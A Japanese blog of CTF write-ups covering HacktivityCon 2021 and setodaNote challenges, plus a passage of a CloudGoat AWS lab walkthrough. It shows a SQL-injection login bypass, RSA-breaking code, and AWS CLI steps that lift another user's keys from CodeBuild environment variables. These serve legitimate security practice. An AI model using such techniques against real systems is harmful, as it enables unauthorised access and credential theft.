H@cktivityCon 2021 CTF Writeup
チームで参加しました。
私は50点問題しか解けてませんが書いちゃったのでupしておきます。。。
Warmups
Read The Rules
ソースに書いてある。
flag{90bc54705794a62015369fd8e86e557b}
Tsunami
% file tsunami tsunami: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
ということで、wavファイルの模様。
前半はノイズ、後半はピコピコ言ってる。
audacityで普通に開くと、後半部はこんな見た目だが、
表示をスペクトログラムにすると、flagっぽい文字列が出てくる。
flag{f8fbb2c761821d3af23858f721cc140b}
Bass64
テキストエディタで開いて等幅フォントで表示するとこんな感じに。
読み取るとIGZsYWd7MzVhNWQxM2RhNmEyYWZhMGM2MmJmY2JkZDYzMDFhMGF9
になる。
これをbase64デコードするとフラグ。
flag{35a5d13da6a2afa0c62bfcbdd6301a0a}
Six Four Over Two
大文字と数字のみなので、Base32。
flag{a45d4e70bfc407645185dd9114f9c0ef}
Pimple
xcfファイルなので、gimpで開くと、複数レイヤーにそれぞれ人の顔が(怖い…)
そのうちの一つのレイヤーにフラグが書いてある。
flag{9a64bc4a390cb0ce31452820ee562c3f}
Oddball
od
コマンドで8進数で出力された?テキスト。
頭のオフセット部分を除いて空白区切りにしたテキストファイルを下記に食わせて、16進数表示を得た。
with open("temp.txt", "r") as f: txt = f.read() txt_s = txt.split(' ') bin = "" for si in txt_s: t1 = format(int(si, 8), '04x') bin += t1[2:] bin += t1[:2] print(bin)
それをバイナリエディタかなんかに貼り付けて完了。
flag{2a522c26c87af3192b42c34fd326385b}
OSINT
Jed Sheeran
Jed Sheeran
という人が新しい曲を作っているらしい。とのことで、名前でぐぐってみると、SoundCloudというSNS?が見つかる。
https://soundcloud.com/user-836083929-176777888/beautiful-people
そのプロフィールページにフラグ。
flag{59e56590445321ccefb4d91bba61f16c}
メモ
OSINTにはnamechk.comがよさげ。
setodaNote CTF 復習編
折角なので解けなかった一部の問題にトライしていくエントリです。
Misc
i_knew_it
アセンブリで書かれたRC4は見た瞬間分かるか - yasulib memo
こちらのブログが元ネタらしい。
私はまだちょっと見た目ではわかってないです。。
flag{RC4}
Network
Digdig
DNSトンネリングの問題。
サブドメインをHEXにすると、フラグの断片のようなものが得られたものの、いくつか組み合わせてみても正解できず。
"Dummy flag"などの言葉も出てきたり、問題名もdigなので、方向性が違うのかと思って競技期間中は諦めてしまった。
改めてサブドメインのみを抜き出してみると、下記のように、[005aa]
+ [001から始まる数字]
+ [ASCIIコード]
となっている。
005aa002735f69735f44414d 005aa00663655f7472795f53 005aa0034d595f464c41477d 005aa0085f746861747d2066 005aa00a6c61677b444e535f 005aa00b5333637572313779 005aa0076f7272795f666f72 005aa00420666c6167206973 005aa0096c61672069732066 005aa00c5f5431303731217d 005aa011797d323232323232 005aa00d20666c6167206973 005aa00f335f6b33795f3135 005aa00e20666c61677b3768 005aa001666c61677b546869 005aa0105f35336375723137 005aa000666c616720697320 005aa00520666c61677b4e69
[001から始まる数字]
でソートし、文字列部分のみ抜き出す。
with open("temp.txt") as f: lines = f.readlines() lines.sort(key = lambda x:x[5:8]) lines2 = [x[8:].strip() for x in lines] hex_txt = ''.join(lines2) print(bytes.fromhex(hex_txt))
すると下記のようになり、このうちの一つがフラグ。
b'flag is flag{This_is_DAMMY_FLAG} flag is flag{Nice_try_Sorry_for_that} flag is flag{DNS_S3cur17y_T1071!} flag is flag{7h3_k3y_15_53cur17y}222222'
flag{DNS_S3cur17y_T1071!}
Logger
USB通信データ。
Leftover Capture Dataの3バイト目が変化している。
こちらのエントリで勉強したところ、"Leftover Capture Data"の3バイト目はキーボード入力に対応しているとのこと。
ググるといくつかUSBキーボードとの対応表が出てくるが、正確にやるならusb.org
のドキュメンテーションのHID usageを読むのが良いのかも。
下記のページで勉強中。
USB HID Usage ID の Scancode 変換と対応するキー | capyBaral
また、こちらのエントリによると、最初の2バイトが0x20なら右シフトキー(0x02なら左シフト)が押された状態であるとのこと。
Decoding Mixed Case USB Keystrokes from PCAP
それを踏まえて、flagっぽい部分を読み取ると下記。
09 f 0f l 04 a 0a g 2f { 14 Q 1a W 08 E 2d _ 0e k 08 e 1c y 05 b 27 0 04 a 15 r 07 d 2d _ 15 R 17 T 1c Y 30 }
flag{QWE_keyb0ard_RTY}
tkys_not_enough
wiresharkで開けない。
バイナリエディタで見てみると、NetTrace.etl
という文字が見え、netsh traceで取られたパケットキャプチャファイルであることが推察される。
【Windows】netsh trace コマンドによるパケットキャプチャ(採取/解析/変換方法) | クラブロ
上記のエントリに従って、Windows Network Monitorでetlファイルからcapファイルに変換すると、Wiresharkで開けるようになる。
Wiresharkで開くと、500番ポートに対してhttp通信している。
このうち、/Z29GbGFn.html
からのレスポンスを見ると(gzip圧縮されているため、RAW形式で保存し、該当部分を切り出して解凍)
I'm going to practice making origami cranes so that I can fold them for you some day, okay? flag{netw0rk_shell_2000}
flag{netw0rk_shell_2000}
Web
Mx.Flag
ソースを見てみると、images/favicon.png
とassets/css/style.css
が読み込まれている。
このうち、faviconの方がうまく表示されない。
// flag{Mr_Flag_hiding_in_the_favicon} console.table({place: "favicon.png", png: "false", flag: "true", Look: "me"});
テキストエディタで開いてみるとなんとフラグが書いてある。
flag{Mr_Flag_hiding_in_the_favicon}
Redirect
ソースの一番下部に不審なscriptがある。
<script>!function(){var ref = document.referrer;var domain = ref.match(/^http([s]?):\/\/([a-zA-Z0-9-_\.]+)(:[0-9]+)?/)[2];if(domain == "www.google.com" || domain == "www.google.co.jp" ){location.href = atob('aHR0cHM6Ly9jdGYuc2V0b2Rhbm90ZS5uZXQvd2ViMDA0L2JXRnNhMmwwLmh0bWw=');}}();</script>
googleから飛んできた場合に、別の場所にリダイレクトするscriptらしいというのはわかったが、Referer
ヘッダを設定しては動かん…と悩んで詰まった。
document.referrer
はReferer
ヘッダを参照しているわけではなく、ブラウザによって値がセットされるということに後から気づいた。
(考えてみれば当然っちゃ当然)
なので、一つひとつリダイレクトの流れを追っていく必要がある。
まずは上記にBase64エンコードされて記載されているhttps://ctf.setodanote.net/web004/bWFsa2l0.html
をcurlで取得してみると、
<!DOCTYPE HTML> <html> <head> <title>start</title> <noscript> <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html"> </noscript> <script> !function() { var params = new URL(window.location.href).searchParams; if(Array.from(params).length > 0){ location.href = 'https://ctf.setodanote.net/web004/bm9mbGFn/?'+params; }else{ location.href = 'https://ctf.setodanote.net/web004/bWFsa2l0.html?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200'; } }(); </script> </head> <body> <p>Find out the flag.</p> </body> </html>
クエリなしなので、次はhttps://ctf.setodanote.net/web004/bWFsa2l0.html?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200
<!DOCTYPE HTML> <html> <head> <title>start</title> <noscript> <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html"> </noscript> <script> !function() { var params = new URL(window.location.href).searchParams; if(Array.from(params).length > 0){ location.href = 'https://ctf.setodanote.net/web004/bm9mbGFn/?'+params; }else{ location.href = 'https://ctf.setodanote.net/web004/bWFsa2l0.html?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200'; } }(); </script> </head> <body> <p>Find out the flag.</p> </body> </html>
今度はクエリがあるので、https://ctf.setodanote.net/web004/bm9mbGFn/?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200
<html> <head> <title>Next</title> <noscript> <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html"> </noscript> <script> !function() { var params = new URL(window.location.href).searchParams; location.href = 'https://ctf.setodanote.net/web004/bmV4dG5leHQ/?'+params }(); </script> </head> <body> <p>No flag here. Go to next.</p> </body> </html>
次はhttps://ctf.setodanote.net/web004/bmV4dG5leHQ/?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200
<html> <head> <title>Next-Next</title> <noscript> <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html"> </noscript> <script> !function() { var params = new URL(window.location.href).searchParams; location.href = 'https://ctf.setodanote.net/web004/b25lLXR3by10aHJlZQ/?'+params }(); </script> </head> <body> <p>No flag here too. Go to next.</p> </body> </html>
次。https://ctf.setodanote.net/web004/b25lLXR3by10aHJlZQ/?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200
<html> <head> <title>Branching point</title> <noscript> <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html"> </noscript> <script> !function() { var params = new URL(window.location.href).searchParams; if (params.get('callback') == 'getFlag') { location.href = 'https://ctf.setodanote.net/web004/dGFjaGlrb21hX2thd2FpaV95b25l/?' + params; }else{ location.href = 'https://ctf.setodanote.net/web004/ZGFtbXlmbGFn/?' + params; } }(); </script> </head> <body> <p>You need the correct parameters to get the flag.</p> </body> </html>
お、callback=getFlag
なら別のところに飛びそう。ということで、https://ctf.setodanote.net/web004/dGFjaGlrb21hX2thd2FpaV95b25l/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200
<html> <head> <title>GO!GO!GO!</title> <noscript> <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html"> </noscript> <script> !function() { var params = new URL(window.location.href).searchParams; var callback = params.get('callback'); var data1 = params.get('data1'); var data2 = params.get('data2'); var data3 = params.get('data3'); var data4 = params.get('data4'); if (callback == 'getFlag' && data1 == "2045" && data2 =="0907" && data3 == "BiancoRoja" && data4 =="1704067200") { location.href = 'https://noisy-king-d0da.setodanote.net/?'+params; }else{ location.href = 'https://ctf.setodanote.net/web004/ZGFtbXlmbGFn/hint.html?'+params; } }(); </script> </head> <body> <p>Yes! Go to next.</p> </body> </html>
指定されたパラメータと共にhttps://noisy-king-d0da.setodanote.net/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200
にアクセスすると、フラグが降ってくる。
flag{Analyz1ng_Bad_Red1rects}
OSINT
tkys_eys_only
競技中は、左上の40.75N 73.98W
ばかり見ていて詰んでいた。
URLの方に入力されている座標(40.749444
、-73.968056
)の方を見なければならなかった。
google mapで上記座標を検索すればよい。国連事務局ビル。
flag{United_Nations}
N-th_prime
72057594037927936
が2^56
であることはググってすぐわかったが、そこで止まってしまった。
こちらのページに2のべき乗番目の素数が載っている。
mersenneforum.org - View Single Post - Riemann, Goldbach does not know!
また、こちらのツールで計算してもよかったらしい。
flag{2991614170035124397}
secret_operation
画像にあるURL(https://green-pond-97ff.setodanote.net/
)に普通にアクセスすると、Country: JP
と表示される。
そこで、画像と同じCityにあるロシアのフリープロキシを設定してアクセスすると、下記のような感じに。
プロキシは下記で探した。
Russia Proxy Server List - Russian Proxies
下部のLink
を押すと別ページに飛ぶが、BASIC認証を求められる。
なので、まずは@aarron142857について調べてみると、下記のツイートをいいねしている。
そこで、下記のツイートの画像をzipにして解凍すると、中から更にpngが出てくる。
Username: J.S Password: right_next_to_you
上記認証情報でログインすると、フラグ画面。
このテクニックは勉強になったなぁ。
flag{=we_can_change_tomorrow=}
Crypto
lets_bake
bakeと書いてあるのでCyberChefだろうというのは競技中に気づいたが、解けなかった。
セパレータが]b2[
かと思っていたら、]b2[s
だったらしい。
]b2[s
をセパレータとしてbase64デコードすると、CyberChefのレシピが出てくるので、inputをその通りにbakeすればよい。
From_Base64('A-Za-z0-9+/=',true) From_Hex('None') Fork('%','_',false) RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1')
flag{hello_baked_cipher}
WEARECIA
We are CIA という意味で、下記を示しているらしい。
問題文の前半部分はK1と同一。これは特殊なヴィジュネル暗号らしい。
The Kryptos Sculpture Solutions
上記の表を見ながら手作業で解読したが、オンラインツールでも使用するアルファベットが指定できるのでできる模様。な、なんだってー
Vigenere Cipher - Online Decoder, Encoder, Solver, Translator
Between subtle shading and the absence of light lies the nuance of iqlusion Flag is we are the nations first line of defense
flag{WEARETHENATIONSFIRSTLINEOFDEFENSE}
setodaNote CTF Writeup
ご無沙汰してます。リハビリとして参加しました。
130位、3930点。
後半息切れしました… 体力低下を感じる。
Misc
Welcome
CTF登録時のユーザー名とパスワードでログインし、
cat welcome.txt
でフラグ。
flag{Enjoy_y0ur_time_here!}
morse_one
タイトル通り、モールス信号。
D=dot, B=bar, S=spaceとして変換すると、...- .. -... .-. --- .--. .-.. . -..-
文字に変換すると、VIBROPLEX
となる。
flag{VIBROPLEX}
Hash
全てのファイルのハッシュ値(sha256)が分かればよい。
Windowsならツールが分かり易そうだが、当方macなのでコマンドで。
% shasum -a 256 * | grep aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7 aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7 pass024.txt % shasum -a 256 * | grep 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb pass034.txt % shasum -a 256 * | grep e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962 e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962 pass079.txt % cat pass024.txt pass034.txt pass079.txt
flag{hardest_logic_puzzle}
F
Brainfuckという言語らしい。
オンラインコンパイラがあったので実行すると、FLAG is flag{Don't_Use_the_F-Word!!}
と出力される。
flag{Don't_Use_the_F-Word!!}
magic_number
拡張子ごとのマジックナンバーを問われる問題。
各ファイルをバイナリエディタで開き、最初の4 byteが該当するものを探せばよい。
flag{post_rar_light}
Stegano
真ん中に文字がうっすら見えてるので、おいおい大丈夫か?と思ったけど他の文字はちゃんと隠れていた。
Stegsolveで各planeを見ていくと、左上、真ん中、右下にそれぞれ文字が隠れている。
それぞれ、flag{Re4l17y_
、1s_cReA73d_by
、_7h3_m1nd_rA9}
で、繋げればフラグ。
flag{Re4l17y_1s_cReA73d_by_7h3_m1nd_rA9}
morse_zero
unicodeで2種類のゼロ幅スペースが使われている。
E2808C
を-
、E2808B
を.
、5A(Z)
をとすると、
--.. . .-. ----- ..--.- .-- .---- -.. - .... ..--.- ... .--. .- -.-. .
となり、
変換すると、ZER0_W1DTH_SPACE
となる。
flag{ZER0_W1DTH_SPACE}
ransom_note
No More Ransom Projectは、復号可能なランサムウェアの復号ツールを配布している。
あとは今回のランサムウェアを特定するだけ…と思ったところで、アンチウィルスソフトが働いて、検知名は「GandCrab」とのこと。
ランサムノートを見るまでもなく、復号ツールをゲット。あとはツールにお任せ。
flag{unlock1ng_y0ur_d1gital_life_with0ut_paying;)}
Nothing
こ、これは進研ゼミ(ksnctf)でやったやつだ…!
というわけでWhitespace言語。オンラインIDEで実行すると、Flag is flag{And_Then_There_Were_None}
と出てくる。
flag{And_Then_There_Were_None}
Redacted
PDFファイル上で黒塗りを行っても、元のデータは残っている。
今回の場合は黒塗りにされた部分は画像のようなので、コピー&ペーストで適当な画像ソフトに貼り付ける。
flag{weather_balloon}
Network
Host
pcapファイルをwiresharkで開けばよい。
flag{ctf.setodanote.net}
tkys_never_die
wiresharkで開くと、/flag.htmlの後に/flag.pngにアクセスしていることがわかる。
pcapは通信の全てのデータを含んでいるので、PNGデータの復元も可能。
File > Export Objects > flag.pngを選び、ファイルをエクスポートする。
flag{a_treasure_trove}
echo_request
問題文にechoとあるので、ICMP通信を見てみると、各々の通信にdata部が存在することがわかる。
一つひとつ見ていくと、No29から1文字ずつf, l, a, g...といったように一文字ずつフラグ文字列が送信されているので、抽出すればよい。
flag{ICMP_Tunneling_T1095}
stay_in_touch
メールのやり取りの模様。
一つひとつFollow TCP Streamで中身を確認していく(メール件名はUTF-8でエンコードされているので、オンラインサービスなどでデコード)と、
Stream 12に添付ファイルがあることがわかる。
さらに、Stream 14には「パスワード通知」という件名でYatagarasu-Takama-Kamuyamato2
という文字列が。
% echo -n "UEsDBBQAAQAAADBq8FK0Nz5zSgAAAD4AAAATAAAAUmVwb3J0LUFWLVQwMDk3LnR4dAzRMzm6s5vAM3huF0n2GEKFrarxVD3WvzurjKz9sjA7iD6nWis0GBRcIdcyrQkqliocBi2lCUB6J0hRUgHzDVCnVx6LnLS5LenqUEsBAj8AFAABAAAAMGrwUrQ3PnNKAAAAPgAAABMAJAAAAAAAAAAgAAAAAAAAAFJlcG9ydC1BVi1UMDA5Ny50eHQKACAAAAAAAAEAGADNWpx++XnXARJtllL6edcB0TOVfvl51wFQSwUGAAAAAAEAAQBlAAAAewAAAAAA" | base64 -d > decoded.zip
できたzipファイルを、先ほどのパスワードで解凍するとテキストファイルが出てくる。
flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)}
yes_you_can
車載組み込みで使われるCAN通信のログらしい。正直、全然よくわかっていないのだが、
flagに使われているっぽい文字列を検索していたところ、ID=244#に送っている通信に含まれていることがわかった。
あとは力技で、uniqで抜き出して、ASCIIコードを一つひとつ拾っていった。。。
% grep "244#" dump.log | awk '{print $3}' | uniq
carハッキングについてはこのへん
flag{can_bus_hacking}
Web
Body
問題ページのソース内に書いてある。
flag{Section_9}
Header
Webページから返されるレスポンスにx-setodanotectf-flag
という独自ヘッダーが含まれており、その値がフラグ。
flag{Just_a_whisper}
puni_puni
punycodeを変換する問題。こちらで変換した。
フラグは、さん、さん、ピー、ユー、エヌ、ワイ、
、シー、オー、ディー、イー、よん、よん、です.
、
カタカナ表記は半角英小文字に、
、ひらがな表記は半角数字にしたものがフラグです
、なお、読点は区切り文字なので取り除いてください
flag{33punycode44}
Mistake
https://ctf.setodanote.net/web003/images/
のディレクトリが見られるようになっており、pic_flag_is_here.txt
というファイルが置いてあるのがわかる。
flag{You_are_the_Laughing_Man,_aren't_you?}
tkys_royale
テストユーザーでのログインアカウントはソースに書いてあるが、adminでログインせよと言われてしまう。
雑にSQLiっぽい入力をすると、エラーが出てMySQLであることと、クエリが明らかになる。
Query: SELECT * From basic_accounts where username='admin'/*' and password=''
あとはMySQLでのコメントアウトを利用してpasswordをバイパスすればOK。
flag{SQLi_with_b1rds_in_a_b34utiful_landscape}
Estimated
サイトを眺めていると、6/2の投稿画像に関するお詫び文が掲載されている。
一方、画像は、images/20210710001b.jpg
のような規則的な命名がなされていることから、images/20210602001b.jpg
にアクセスすると該当の画像にアクセスできてしまう。
flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}
Osint
tkys_with_love
"C6DF6"でググると出てくる。客船らしい。
flag{Symphony_of_the_Seas}
Dorks
googleハッキングの問題。
特定のURLを含むページを検索するには、inurl
を使えばよい。
flag{inurl:login.php}
filters_op
@cas_nisc 2017 May 15
とかで雑に検索した。
flag{#WannaCrypt}
MAC
MACアドレスの接頭辞として見た時の、ベンダ名の頭文字に変換すればよい。
flag{O_U_I_Y_A}
MITRE
(後で)
flag{MITRE_ATTACK_MATLIX_THX}
Ropeway
ロープウェイから撮った写真なんてどれも大体似たような感じになるやろ!
ということで、画像でgoogle検索すると、「浜名湖オルゴールミュージアム」が引っかかる。
そこにかかっているのは「かんざんじロープウェイ」なので、
flag{kanzanji}
identify_the_source
まず、マルウェア配布サイトに置かれていたとのことなので、any.runあたりであろうと当たりをつける。
hash値で検索すると、any.runのPublic Tasksに7/15(CTF開催前)にアップロードされていた形跡がある。
そこにはURL情報もあり、切れているがサブドメインは見える(全体が見える方法を知らない…)
サブドメインのyrsuccessesareunheraldedyrfailuresaretrumpeted
でググると、まずyrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net
というサイトが出てくるが、そのページにアクセスしてみても、フラグはもう無いと言われる。
次に魚拓サイトが引っかかってくる。
見てみると7/15に魚拓が取られており、前述の日付と一致するので、見てみるとフラグが書いてある。
flag{No_one_cares_the_bomb_that_didn't_go_off}
Crypto
base64
base64デコードするだけ。
flag{It's_called_base64!}
ROT13
rot13するだけ。
flag{Even_you_Brutus?}
pui_pui
Unicodeをデコードするだけ。
A:Do you know Molcar? B:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up. A:... What? B:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.
flag{Have_you_ever_heard_of_Hexdump?}
私の知ってるモルカーと違う…
tkys_secret_service
換字式暗号。こちらを利用したが、完全には戻らなかった。
しかしflagは読めたのでOK。
flag{puipui_car_of_mol}
vul_rsa_01
eは正常なのでnに当たりをつけ、いつもお世話になってるFactorDBにお願いしたら素因数分解してくれた。
3058517013146002381763962882964790715736519
、4372642466716249946441875327733923056149624303
from Crypto.Util.number import inverse, long_to_bytes n = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 e = 65537 c = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335 p = 3058517013146002381763962882964790715736519 q = 4372642466716249946441875327733923056149624303 phi = (p-1) * (q-1) d = inverse(e, phi) m = pow(c, d, n) print(long_to_bytes(m))
flag{weak_rsa_can_be_decrypted!}
vul_rsa_02
eが大きすぎる。このような時、dが小さいと考えられ、Wiener's Attackが成立する。
コードはももテクさんのものを使わせて頂きました。
import sys import gmpy from Crypto.Util.number import long_to_bytes def continued_fraction(n, d): """ 415/93 = 4 + 1/(2 + 1/(6 + 1/7)) >>> continued_fraction(415, 93) [4, 2, 6, 7] """ cf = [] while d: q = n // d cf.append(q) n, d = d, n-d*q return cf def convergents_of_contfrac(cf): """ 4 + 1/(2 + 1/(6 + 1/7)) is approximately 4/1, 9/2, 58/13 and 415/93 >>> list(convergents_of_contfrac([4, 2, 6, 7])) [(4, 1), (9, 2), (58, 13), (415, 93)] """ n0, n1 = cf[0], cf[0]*cf[1]+1 d0, d1 = 1, cf[1] yield (n0, d0) yield (n1, d1) for i in range(2, len(cf)): n2, d2 = cf[i]*n1+n0, cf[i]*d1+d0 yield (n2, d2) n0, n1 = n1, n2 d0, d1 = d1, d2 def wieners_attack(e, n): cf = continued_fraction(e, n) convergents = convergents_of_contfrac(cf) for k, d in convergents: if k == 0: continue phi, rem = divmod(e*d-1, k) if rem != 0: continue s = n - phi + 1 # check if x^2 - s*x + n = 0 has integer roots D = s*s - 4*n if D > 0 and gmpy.is_square(D): return d if __name__ == '__main__': n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137 c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681 d = wieners_attack(e, n) print("found d: %d" % d) m = pow(c, d, n) print(long_to_bytes(m))
flag{197_Michael_J_Wiener_673}
Rev
Helloworld
普通に実行すると、Nice try, please set some word when you run me.
と言われてしまう。
% strings helloworld.exe | less (snip) Nice try, please set some word when you run me. flag Good job, but please set 'flag' when you run me. hint Nice try ;) (snip)
stringsの出力結果から、flagというキーを与えて実行すればよさそうなので、helloworld.exe flag
とするとフラグ。
flag{free_fair_and_secure_cyberspace}
ELF
elfの実行ファイルのようだヘッダーが潰されていて動かない。
最初4バイトを7f 45 4c 46
に直してやると実行できフラグが得られる。
flag{run_makiba}
Passscode
ここでチェックしている、ので実行して20150109
を入れればいいのだが、
引数にとっている%s
は結局20150109
なので、実行しなくてもよい。
flag{20150109}
Passcode2
最初に怪しいバイト列181F0479 4F5A0418 1A1B1E
があり、長さを11と比較した後、0x2a
とxorしている。
flag{25.Sep.2014}
Forensics
paint_flag
docxファイルの実体はzipファイルである。
拡張子をzipにして解凍すると、media内に加工前の画像も保存されている。
flag{What_m4tters_is_inside;)}
Mail
.msfファイルを含むディレクトリ。Thunderbirdのデータフォルダらしい。
正攻法でThunderbirdで開こうとしたがうまくいかなかった。
Sent-1ファイルが送信済みメールのデータらしきことがわかったので、base64でエンコードされた添付ファイル部分をバイナリエディタで切り出し、デコード・解凍し画像ファイルを得た。
flag{You've_clearly_done_a_good_job_there!!}
Programing
ZZZIPPP
ZIPを解凍し続けるスクリプトを書く問題…のはずなのだが、macデフォルトのアーカイブユーティリティはなんと
自動的に可能な限り解凍し続けてくれるのだった。
flag{loop-zip-1989-zip-loop}
echo_me
出てくる数字を送り返せばよい。色々調整した結果が下記。
import re, socket from time import sleep sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("10.1.1.10", 12020)) r = sock.recv(1024) while(True): r = sock.recv(1024) print(r) s = re.sub(r"\D", "", r) print(s) sock.send(s + '\n') sleep(1)
flag{Hellow_yamabiko_Yoo-hoo!}
AWSの攻撃体験ツール【Cloudgoat】全シナリオやる(後編)
前編、中編はこちら。
codebuild_secrets (Large / Hard)
このシナリオには二つのルートがある。
IAMユーザーSoloから始め、CodeBuildを調査してユーザーCalrissianの認証情報を得、CalrissianとしてRDSのスナップショットを利用するルートと、SSMパラメータからインスタンスのSSHキーを取得し、メタデータを利用してインスタンスプロファイルのキーを取得して、隠された情報を得るルート。
初期情報は下記。
Outputs: cloudgoat_output_aws_account_id = 7*********** cloudgoat_output_solo_access_key_id = A************** cloudgoat_output_solo_secret_key = 1***************************
CodeBuildを調査する。
AWS CodeBuild のコマンドラインリファレンス - AWS CodeBuild
% aws codebuild list-projects --profile Solo --region us-east-1 { "projects": [ "cg-codebuild-cgidysjfe61q7i" ] } % aws codebuild batch-get-projects --names cg-codebuild-cgidysjfe61q7i --profile Solo --region us-east-1 { "projects": [ { "name": "cg-codebuild-cgidysjfe61q7i", "arn": "arn:aws:codebuild:us-east-1:746321857124:project/cg-codebuild-cgidysjfe61q7i", "source": { "type": "NO_SOURCE", "gitCloneDepth": 0, "buildspec": "version: 0.2\n\nphases:\n pre_build:\n commands:\n - echo \"This is CloudGoat's simpliest buildspec file ever (maybe)\"", "insecureSsl": false }, "artifacts": { "type": "NO_ARTIFACTS", "overrideArtifactName": false }, "cache": { "type": "NO_CACHE" }, "environment": { "type": "LINUX_CONTAINER", "image": "aws/codebuild/standard:1.0", "computeType": "BUILD_GENERAL1_SMALL", "environmentVariables": [ { "name": "calrissian-aws-access-key", "value": "A**************", "type": "PLAINTEXT" }, { "name": "calrissian-aws-secret-key", "value": "n***************************", "type": "PLAINTEXT" } ], "privilegedMode": false, "imagePullCredentialsType": "CODEBUILD" }, "serviceRole": "arn:aws:iam::7***********:role/code-build-cg-cgidysjfe61q7i-service-role", "timeoutInMinutes": 20, "queuedTimeoutInMinutes": 480, "encryptionKey": "arn:aws:kms:us-east-1:7***********:alias/aws/s3", "tags": [ { "key": "Name", "value": "cg-codebuild-cgidysjfe61q7i" }, { "key": "Scenario", "value": "codebuild-secrets" }, { "key": "Stack", "value": "CloudGoat" } ], "created": "2021-01-07T13:41:45.738000+09:00", "lastModified": "2021-01-07T13:41:45.738000+09:00", "badge": { "badgeEnabled": false }, "logsConfig": { "cloudWatchLogs": { "status": "ENABLED" }, "s3Logs": { "status": "DISABLED", "encryptionDisabled": false } } } ], "projectsNotFound": [] }
環境変数としてCalrissianの認証情報が入っているので使う。
% aws configure --profile Calrissian AWS Access Key ID [None]: A************** AWS Secret Access Key [None]: n*************************** Default region name [None]: us-east-1 Default output format [None]:
RDSの調査。
% aws rds describe-db-instances --profile Calrissian { "DBInstances": [ { "DBInstanceIdentifier": "cg-rds-instance-cgidysjfe61q7i", "DBInstanceClass": "db.t2.micro", "Engine": "postgres", "DBInstanceStatus": "available", "MasterUsername": "cgadmin", "DBName": "securedb", "Endpoint": { "Address": "cg-rds-instance-cgidysjfe61q7i.cen1twfmlpzd.us-east-1.rds.amazonaws.com", "Port": 5432, "HostedZoneId": "Z2R2ITUGPM61AM" }, "AllocatedStorage": 20, "InstanceCreateTime": "2021-01-07T04:45:19.334000+00:00", "PreferredBackupWindow": "07:38-08:08", "BackupRetentionPeriod": 0, "DBSecurityGroups": [], "VpcSecurityGroups": [ { "VpcSecurityGroupId": "sg-09e426a8cb9f31e8a", "Status": "active" } ], "DBParameterGroups": [ { "DBParameterGroupName": "default.postgres9.6", "ParameterApplyStatus": "in-sync" } ], "AvailabilityZone": "us-east-1b", "DBSubnetGroup": { "DBSubnetGroupName": "cloud-goat-rds-subnet-group-cgidysjfe61q7i", "DBSubnetGroupDescription": "CloudGoat cgidysjfe61q7i Subnet Group", "VpcId": "vpc-0d54cc644cc046bf5", "SubnetGroupStatus": "Complete", "Subnets": [ { "SubnetIdentifier": "subnet-0b887402790487154", "SubnetAvailabilityZone": { "Name": "us-east-1a" }, "SubnetOutpost": {}, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-0207674e01d5abb99", "SubnetAvailabilityZone": { "Name": "us-east-1b" }, "SubnetOutpost": {}, "SubnetStatus": "Active" } ] }, (snip) "TagList": [ { "Key": "Name", "Value": "cg-rds-instance-cgidysjfe61q7i" }, { "Key": "Scenario", "Value": "codebuild-secrets" }, { "Key": "Stack", "Value": "CloudGoat" } ] } ] }
スナップショットをとってからアクセス可能な領域にリストアし、そのインスタンスへ接続することを目指す。
上記インスタンスはprivateらしきサブネットグループにあることと、別でpublicらしきサブネットグループがあることがわかる。
(private、publicはサブネットグループの説明から、もしくはsubnetのタグから予測)
subnet情報を見る場合はCalrissianではなくSoloの権限で実行する必要がある。
